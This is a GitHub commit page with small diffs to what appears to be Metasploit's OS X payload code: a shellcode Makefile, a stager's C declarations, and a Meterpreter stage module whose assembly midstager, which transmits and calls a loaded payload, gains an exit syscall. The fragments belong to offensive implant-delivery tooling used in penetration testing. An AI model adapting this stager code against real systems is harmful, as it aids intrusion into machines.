Skip to content

Commit 0ce125e

Browse files
committed
more fixes
1 parent 39c07e2 commit 0ce125e

File tree

3 files changed

+11
-12
lines changed

3 files changed

+11
-12
lines changed
Lines changed: 3 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,6 @@
1-
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -O0
2-
SDK=`xcrun --sdk iphoneos --show-sdk-path`
3-
GCC_BIN=`xcrun --sdk iphoneos -f gcc`
4-
GCC_BASE=$(GCC_BIN) $(CFLAGS) -Wimplicit -isysroot $(SDK)
5-
GCC=$(GCC_BASE) -arch arm64
6-
7-
SDK_OSX=`xcrun --sdk macosx --show-sdk-path`
1+
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
82
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
9-
GCC_BASE_OSX=$(GCC_BIN_OSX) -Os $(CFLAGS)
3+
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
104
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
115

126
all: clean main_osx
@@ -21,5 +15,5 @@ shellcode: install
2115
otool -tv main_osx
2216

2317
clean:
24-
rm -f *.o main_ios main_osx
18+
rm -f *.o main_osx
2519

external/source/shellcode/osx/stager/main.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
2121
typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
2222

23-
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int dereference);
23+
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
2424
uint64_t find_symbol(uint64_t base, char* symbol);
2525
uint64_t find_entry_offset(struct mach_header_64 *mh);
2626
int string_compare(const char* s1, const char* s2);

modules/payloads/stages/osx/x64/meterpreter.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -101,9 +101,9 @@ def handle_intermediate_stage(conn, payload)
101101
102102
; setup stack?
103103
and rsp, -0x10 ; Align
104-
add sp, 0x40 ; Add room for initial stack and prog name
104+
add sp, 0x40 ; Add room for initial stack and prog name
105105
mov rax, 109 ; prog name "m"
106-
push 0 ;
106+
push 0 ;
107107
mov rcx, rsp ; save the stack
108108
push 0
109109
push 0
@@ -122,6 +122,11 @@ def handle_intermediate_stage(conn, payload)
122122
mov rax, #{entry_offset}
123123
add rsi, rax
124124
call rsi
125+
126+
; exit
127+
mov eax, 0x2000001
128+
mov rdi, 0x1
129+
syscall
125130
)
126131
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
127132
print_status("Transmitting first stager...(#{midstager.length} bytes)")

0 commit comments

Comments
 (0)